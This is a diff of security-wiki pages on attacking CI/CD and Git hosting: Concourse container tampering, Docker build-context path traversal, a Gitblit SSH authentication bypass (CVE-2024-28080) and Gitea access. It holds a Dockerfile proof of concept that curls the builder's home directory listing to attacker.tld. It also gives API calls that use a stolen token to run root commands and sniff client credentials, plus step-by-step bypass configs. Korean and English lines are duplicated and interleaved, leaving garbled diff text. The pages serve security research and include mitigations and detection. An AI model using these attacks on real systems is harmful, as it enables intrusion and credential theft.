-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
그러나 웹 서버는 몇 초마다 실행 중인 컨테이너를 확인하고, 예상치 못한 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지기 때문에 예상치 못한 컨테이너의 삭제를 피하기 위해 통신을 변조할 수 있습니다:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -436,11 +411,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## References
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -8,19 +8,16 @@
#### With Docker-Compose
This docker-compose file simplifies the installation to do some tests with concourse:
docker-compose 파일은 concourse로 몇 가지 테스트를 수행하기 위한 설치를 간소화합니다:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
당신은 웹에서 `127.0.0.1:8080`에서 자신의 OS에 맞는 명령줄 `fly`를 다운로드할 수 있습니다.
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
#### With Kubernetes (Recommended)
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
#### Kubernetes를 사용하여 (권장)
당신은 helm-chart를 사용하여 **Kubernetes**(예: **minikube**)에 concourse를 쉽게 배포할 수 있습니다: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
concourse 환경을 생성한 후, 비밀을 생성하고 concourse 웹에서 실행 중인 SA가 K8s 비밀에 접근할 수 있도록 권한을 부여할 수 있습니다:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: read-secrets
name: read-secrets
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-secrets-concourse
name: read-secrets-concourse
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
subjects:
- kind: ServiceAccount
name: concourse-release-web
namespace: default
name: concourse-release-web
namespace: default
---
apiVersion: v1
kind: Secret
metadata:
name: super
namespace: concourse-release-main
name: super
namespace: concourse-release-main
type: Opaque
data:
secret: MWYyZDFlMmU2N2Rm
secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
### 파이프라인 생성
### Create Pipeline
파이프라인은 [Jobs](https://concourse-ci.org/jobs.html)의 목록으로 구성되며, 여기에는 [Steps](https://concourse-ci.org/steps.html)의 순서가 있는 목록이 포함됩니다.
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
### 단계
### Steps
여러 가지 유형의 단계가 사용될 수 있습니다:
Several different type of steps can be used:
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **는** [**task**](https://concourse-ci.org/tasks.html)를 실행합니다.
- the [`get` step](https://concourse-ci.org/get-step.html)는 [resource](https://concourse-ci.org/resources.html)를 가져옵니다.
- the [`put` step](https://concourse-ci.org/put-step.html)는 [resource](https://concourse-ci.org/resources.html)를 업데이트합니다.
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html)는 [pipeline](https://concourse-ci.org/pipelines.html)을 구성합니다.
- the [`load_var` step](https://concourse-ci.org/load-var-step.html)는 값을 [local var](https://concourse-ci.org/vars.html#local-vars)에 로드합니다.
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html)는 단계를 병렬로 실행합니다.
- the [`do` step](https://concourse-ci.org/do-step.html)는 단계를 순차적으로 실행합니다.
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across)는 변수가 있는 값의 조합마다 한 번씩 단계를 여러 번 실행합니다.
- the [`try` step](https://concourse-ci.org/try-step.html)는 단계를 실행하려고 시도하며, 단계가 실패하더라도 성공합니다.
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
각 [step](https://concourse-ci.org/steps.html)은 [job plan](https://concourse-ci.org/jobs.html#schema.job.plan)에서 **자신의 컨테이너**에서 실행됩니다. 컨테이너 내에서 원하는 모든 것을 실행할 수 있습니다 _(예: 내 테스트 실행, 이 bash 스크립트 실행, 이 이미지 빌드 등)_. 따라서 다섯 개의 단계가 있는 작업이 있다면 Concourse는 각 단계마다 하나씩 다섯 개의 컨테이너를 생성합니다.
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
Therefore, it's possible to indicate the type of container each step needs to be run in.
### Simple Pipeline Example
따라서 각 단계가 실행될 컨테이너의 유형을 지정하는 것이 가능합니다.
### 간단한 파이프라인 예제
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,25 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
**127.0.0.1:8080**에서 파이프라인 흐름을 확인하세요.
Check **127.0.0.1:8080** to see the pipeline flow.
### 출력/입력 파이프라인이 있는 Bash 스크립트
### Bash script with output/input pipeline
**하나의 작업 결과를 파일에 저장**하고 이를 출력으로 표시한 다음, 다음 작업의 입력을 이전 작업의 출력으로 표시할 수 있습니다. concourse가 하는 일은 **이전 작업의 디렉토리를 새로운 작업에 마운트하여 이전 작업에서 생성된 파일에 접근할 수 있게 하는 것입니다.**
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
### 트리거
### Triggers
작업을 수동으로 매번 실행할 필요는 없으며, 매번 실행되도록 프로그래밍할 수도 있습니다:
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
- 시간이 경과함: [Time resource](https://github.com/concourse/time-resource/)
- 메인 브랜치에 새로운 커밋이 있을 때: [Git resource](https://github.com/concourse/git-resource)
- 새로운 PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- 앱의 최신 이미지를 가져오거나 푸시: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
마스터에 새로운 커밋이 있을 때 트리거되는 YAML 파이프라인 예제를 확인하세요: [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,101 @@
# Hosted Builders에서 Docker Build Context 악용 (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
CI/CD 플랫폼이나 hosted builder가 기여자가 Docker build context 경로와 Dockerfile 경로를 지정하도록 허용하면, 컨텍스트를 상위 디렉토리(예: "..")로 설정해 호스트 파일을 빌드 컨텍스트의 일부로 만들 수 있는 경우가 많습니다. 그런 다음 공격자가 제어하는 Dockerfile이 COPY를 사용해 빌더 사용자 홈에서 발견되는 비밀(예: ~/.docker/config.json)을 유출할 수 있습니다. 훔친 registry tokens은 제공자의 control-plane APIs에 대해 동작할 수도 있어 조직 전체의 RCE를 초래할 수 있습니다.
## 공격 표면
많은 hosted builder/registry 서비스는 사용자 제출 이미지를 빌드할 때 대체로 다음을 수행합니다:
- 다음을 포함하는 repo-level config를 읽음:
- build context path (Docker daemon으로 전송됨)
- 해당 context에 상대적인 Dockerfile path
- 지정된 build context 디렉토리와 Dockerfile을 Docker daemon으로 복사
- 이미지를 빌드하고 호스티드 서비스로 실행
플랫폼이 build context를 정규화(canonicalize)하거나 제한하지 않으면, 사용자는 이를 리포지터리 외부 위치로 설정할 수 있으며(path traversal), 그 결과 빌드 사용자에게 읽기 가능한 임의의 호스트 파일이 build context의 일부가 되어 Dockerfile에서 COPY로 접근할 수 있게 됩니다.
일반적으로 관찰되는 실무적 제약:
- Dockerfile은 선택한 context 경로 내에 존재해야 하며 그 경로는 미리 알려져 있어야 합니다.
- 빌드 사용자는 context에 포함된 파일들을 읽을 수 있어야 하며; 특수 디바이스 파일은 복사를 실패하게 만들 수 있습니다.
## PoC: Path traversal via Docker build context
상위 디렉토리 context 내에 Dockerfile을 선언한 악의적 서버 설정 예:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Notes:
- ".."는 종종 builder 사용자의 홈(예: /home/builder)으로 해석되며, 일반적으로 민감한 파일을 포함합니다.
- Dockerfile을 repo의 디렉터리 이름 아래(예: repo "test" → test/Dockerfile)에 두어 확장된 상위 context 내에 남아 있도록 하세요.
## PoC: Dockerfile to ingest and exfiltrate the host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
$HOME에서 흔히 획득되는 대상:
- ~/.docker/config.json (registry auths/tokens)
- 기타 cloud/CLI 캐시 및 구성 (예: ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
팁: 리포지토리에 .dockerignore가 있더라도, 취약한 플랫폼 측의 context 선택이 데몬으로 전송되는 항목을 여전히 결정합니다. 플랫폼이 선택한 경로를 데몬으로 복사한 후에 리포의 .dockerignore를 평가한다면 호스트 파일이 여전히 노출될 수 있습니다.
## 과도한 권한 토큰으로 클라우드 피벗 (example: Fly.io Machines API)
일부 플랫폼은 container registry와 control-plane API 둘 다에 사용할 수 있는 단일 bearer token을 발급합니다. 만약 registry token을 탈취했다면 provider API에 대해 사용해 보세요.
다음은 ~/.docker/config.json에서 탈취한 토큰을 사용해 Fly.io Machines API에 대한 예시 API 호출입니다:
조직 내 앱 열거:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
앱의 어떤 머신에서든 root로 명령을 실행:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Outcome: 조직 전체에서 token이 충분한 권한을 가진 경우 모든 hosted apps에 대한 org-wide remote code execution.
## 침해된 호스팅 서비스로부터의 비밀 탈취
exec/RCE로 호스팅된 서버에 접근하면 클라이언트가 제공한 secrets (API keys, tokens)을 수집하거나 prompt-injection attacks를 수행할 수 있다. 예: tcpdump를 설치하고 포트 8080의 HTTP 트래픽을 캡처해 인바운드 credentials를 추출한다.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
캡처된 요청에는 종종 헤더, 본문 또는 쿼리 매개변수에 클라이언트 자격 증명이 포함되어 있습니다.
## 참고자료
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,12 +1,12 @@
# Gitblit Security
# Gitblit 보안
{{#include ../../banners/hacktricks-training.md}}
## What is Gitblit
## Gitblit란?
Gitblit is a selfhosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
Gitblit은 Java로 작성된 자가 호스팅 Git 서버입니다. 단독 JAR로 실행하거나 서블릿 컨테이너에서 실행할 수 있으며 Git over SSH용 내장 SSH 서비스(Apache MINA SSHD)를 제공합니다.
## Topics
## 주제
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
@@ -14,8 +14,8 @@ Gitblit is a selfhosted Git server written in Java. It can run as a standalon
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
{{#endref}}
## References
## 참고자료
- [Gitblit project](https://gitblit.com/)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,98 +2,94 @@
{{#include ../../banners/hacktricks-training.md}}
## Summary
## 요약
CVE-2024-28080 is an authentication bypass in Gitblits embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that users public keys can authenticate without the private key and without the password.
CVE-2024-28080은 Apache MINA SSHD와 통합할 때 세션 상태 처리가 잘못되어 발생하는 Gitblit의 임베디드 SSH 서비스에서의 인증 우회 취약점입니다. 사용자 계정에 최소 하나의 SSH 공개 키가 등록되어 있으면, 공격자는 사용자 이름과 그 공개 키 중 하나를 알면 개인 키나 비밀번호 없이 인증할 수 있습니다.
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Requirements to exploit:
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
- 영향 대상: Gitblit < 1.10.0 (1.9.3에서 관찰됨)
- 수정됨: 1.10.0
- 악용을 위한 요구 조건:
- 인스턴스에서 Git over SSH가 활성화되어야 함
- 피해자 계정이 Gitblit에 최소 하나의 SSH 공개 키를 등록해놓음
- 공격자가 피해자의 사용자 이름과 해당 공개 키 중 하나를 알고 있음(종종 https://github.com/<username>.keys 등에서 확인 가능)
## Root cause (state leaks between SSH methods)
## 근본 원인 (state leaks between SSH methods)
In RFC 4252, publickey authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
RFC 4252에 따르면 공개키 인증은 두 단계로 진행됩니다: 서버는 먼저 제공된 공개 키가 해당 사용자 이름에 대해 허용되는지 확인하고, 서명된 challenge/response가 완료된 후에야 사용자를 인증합니다. MINA SSHD에서는 PublickeyAuthenticator가 두 번 호출됩니다: 키 허용 시(아직 서명 없음)와 나중에 클라이언트가 서명을 반환한 후입니다.
Gitblits PublickeyAuthenticator mutated the session context on the first, presignature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and shortcircuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior publickey "acceptance" for the same user.
Gitblit PublickeyAuthenticator는 첫 번째 사전 서명 호출에서 인증된 UserModel을 세션에 바인딩하고 true ("key acceptable")를 반환하면서 세션 컨텍스트를 변경했습니다. 이후 인증이 비밀번호로 대체되었을 때, PasswordAuthenticator는 변경된 세션 상태를 신뢰하여 비밀번호를 검증하지 않고 단축 경로로 처리해 true를 반환했습니다. 그 결과, 동일한 사용자에 대해 이전에 publickey "acceptance"가 있으면 아무 비밀번호(빈 문자열 포함)나 허용되었습니다.
Highlevel flawed flow:
문제의 흐름(개요):
1) Client offers username + public key (no signature yet)
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
3) Client cannot sign (no private key), so auth falls back to password
4) Password auth sees a user already present in session and unconditionally returns success
1) 클라이언트가 사용자 이름 + 공개 키를 제시(아직 서명 없음)
2) 서버가 해당 키가 사용자에 속함을 인식하고 조기에 사용자를 세션에 연결한 뒤 true ("acceptable")를 반환
3) 클라이언트가 서명할 수 없음(개인 키 없음) → 인증이 비밀번호로 대체됨
4) 비밀번호 인증이 세션에 이미 사용자가 존재하는 것을 보고 조건 없이 성공을 반환
## Stepbystep exploitation
## 단계별 익스플로잇
- Collect a victims username and one of their public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the publickey acceptance path on the server.
Example SSH client config (no private key available):
- 피해자의 사용자 이름과 공개 키 중 하나를 수집:
- GitHub는 공개 키를 https://github.com/<username>.keys 에 노출
- 공개 서버는 종종 authorized_keys를 노출함
- OpenSSH를 공개 키만 제시하도록 구성하여 서명 생성이 실패하게 만든다. 이렇게 하면 서버에서 publickey 허용 경로를 트리거하면서도 서명이 없으므로 비밀번호로 대체되게 할 수 있다.
예시 SSH 클라이언트 설정(개인 키 없음):
```sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Connect and press Enter at the password prompt (or type any string):
연결한 후 비밀번호 프롬프트에서 Enter를 누르세요(또는 아무 문자열을 입력):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Authentication succeeds because the earlier publickey phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
인증은 이전의 publickey 단계가 세션을 인증된 사용자로 변형시켰기 때문에 성공하며, password auth가 그 상태를 잘못 신뢰합니다.
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
## Impact
## 영향
- Full impersonation of any Gitblit user with at least one registered SSH public key
- Read/write access to repositories per victims permissions (source exfiltration, unauthorized pushes, supplychain risks)
- Potential administrative impact if targeting an admin user
- Pure network exploit; no brute force or private key required
- 적어도 하나의 등록된 SSH public key를 가진 모든 Gitblit 사용자를 완전히 가장할 수 있음
- 피해자의 권한에 따른 저장소에 대한 읽기/쓰기 접근 (source exfiltration, unauthorized pushes, supplychain risks)
- 관리자 계정을 노린 경우 잠재적인 관리자 영향
- 순수 네트워크 기반 익스플로잇; 무차별 대입이나 private key 불필요
## Detection ideas
## 탐지 아이디어
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
- SSH 로그를 검토하여 publickey 시도 뒤에 빈 비밀번호 또는 매우 짧은 비밀번호로 성공한 password authentication이 이어지는 시퀀스를 찾으세요
- 다음과 같은 흐름을 찾아보세요: 지원되지 않거나 일치하지 않는 키 재료를 제시하는 publickey method 뒤에 동일한 사용자명에 대해 즉시 password 성공이 발생하는 경우
## Mitigations
## 완화 조치
- Upgrade to Gitblit v1.10.0+
- Until upgraded:
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
- Gitblit v1.10.0+로 업그레이드
- 업그레이드 전까지:
- Gitblit에서 Git over SSH를 비활성화하거나,
- SSH 서비스에 대한 네트워크 접근을 제한하고,
- 위에 설명된 의심스러운 패턴을 모니터링하세요
- 침해가 의심되면 영향받은 사용자 자격증명을 교체하세요
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
## 일반: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
Pattern: If a servers publickey authenticator mutates user/session state during the presignature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
패턴: 서버의 publickey authenticator presignature "key acceptable" 단계 동안 사용자/세션 상태를 변형시키고 다른 authenticators(예: password)가 그 상태를 신뢰하면, 다음 방법으로 인증을 우회할 수 있습니다:
- Presenting a legitimate public key for the target user (no private key)
- Forcing the client to fail signing so the server falls back to password
- Supplying any password while the password authenticator shortcircuits on leaked state
- 타깃 사용자에 대한 합법적 public key 제시(개인 키 불필요)
- 클라이언트가 서명에 실패하도록 강제하여 서버가 password로 폴백하도록 함
- password authenticator가 leaked 상태에서 조기 종료(shortcircuits)하는 동안 아무 비밀번호나 제공
Practical tips:
실용적인 팁:
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
- 대규모 public key 수집: https://github.com/<username>.keys, 조직 디렉터리, 팀 페이지, leaked authorized_keys 같은 일반 소스에서 public keys를 수집하세요
- 서명 실패 유도(클라이언트 측): IdentityFile을 .pub만 가리키도록 설정, IdentitiesOnly yes로 설정, PreferredAuthentications publickey 다음에 password가 포함되도록 유지
- MINA SSHD 통합 주의점:
- PublickeyAuthenticator.authenticate(...)는 postsignature 검증 경로가 서명을 확인할 때까지 사용자/세션 상태를 첨부하면 안 됩니다
- PasswordAuthenticator.authenticate(...)는 이전의 불완전한 인증 방법 동안 변형된 어떤 상태에서도 성공을 유추하면 안 됩니다
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)

View File

@@ -1,141 +1,130 @@
# Gitea Security
# Gitea 보안
{{#include ../../banners/hacktricks-training.md}}
## What is Gitea
## Gitea란 무엇인가
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
**Gitea**는 **자체 호스팅되는 커뮤니티 관리 경량 코드 호스팅** 솔루션으로 Go로 작성되었습니다.
![](<../../images/image (160).png>)
### Basic Information
### 기본 정보
{{#ref}}
basic-gitea-information.md
{{#endref}}
## Lab
To run a Gitea instance locally you can just run a docker container:
## 실습
로컬에서 Gitea 인스턴스를 실행하려면 도커 컨테이너를 실행하면 됩니다:
```bash
docker run -p 3000:3000 gitea/gitea
```
포트 3000에 연결하여 웹 페이지에 접근하세요.
Connect to port 3000 to access the web page.
You could also run it with kubernetes:
Kubernetes로 실행할 수도 있습니다:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
## 인증되지 않은 열거
## Unauthenticated Enumeration
- 공개 저장소: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- 등록된 사용자: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- 등록된 조직: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
기본적으로 **Gitea는 새로운 사용자가 등록하는 것을 허용합니다**. 이는 새로운 사용자에게 다른 조직/사용자 저장소에 대한 특별히 흥미로운 접근을 제공하지 않지만, **로그인한 사용자**는 **더 많은 저장소나 조직을 시각화할 수 있습니다**.
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
## 내부 악용
## Internal Exploitation
이 시나리오에서는 github 계정에 대한 일부 접근 권한을 얻었다고 가정합니다.
For this scenario we are going to suppose that you have obtained some access to a github account.
### 사용자 자격 증명/웹 쿠키로
### With User Credentials/Web Cookie
조직 내의 사용자에 대한 자격 증명이 있거나 (세션 쿠키를 훔쳤다면) **그냥 로그인**하여 **어떤 권한이 있는지** 확인할 수 있습니다. **어떤 저장소에서**, **어떤 팀에 속해 있는지**, **다른 사용자 목록**, 그리고 **저장소가 어떻게 보호되는지** 확인할 수 있습니다.
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다.
> [!NOTE]
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
> `i_like_gitea` 쿠키를 **훔치는 데 성공하면** (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 **사용자를 완전히 가장할 수 있습니다**.
### With User SSH Key
### 사용자 SSH 키로
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
Gitea는 **사용자**가 **코드를 배포하기 위한 인증 방법으로 사용할 **SSH 키**를 설정할 수 있도록 허용합니다 (2FA가 적용되지 않음).
이 키를 사용하여 사용자가 일부 권한을 가진 저장소에서 **변경을 수행할 수 있지만**, gitea API에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 저장소 및 사용자에 대한 정보를 얻을 수 있습니다:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
사용자가 자신의 gitea 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\<gitea_username>.keys_에서 **그가 설정한 공개 키**에 접근할 수 있습니다. 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
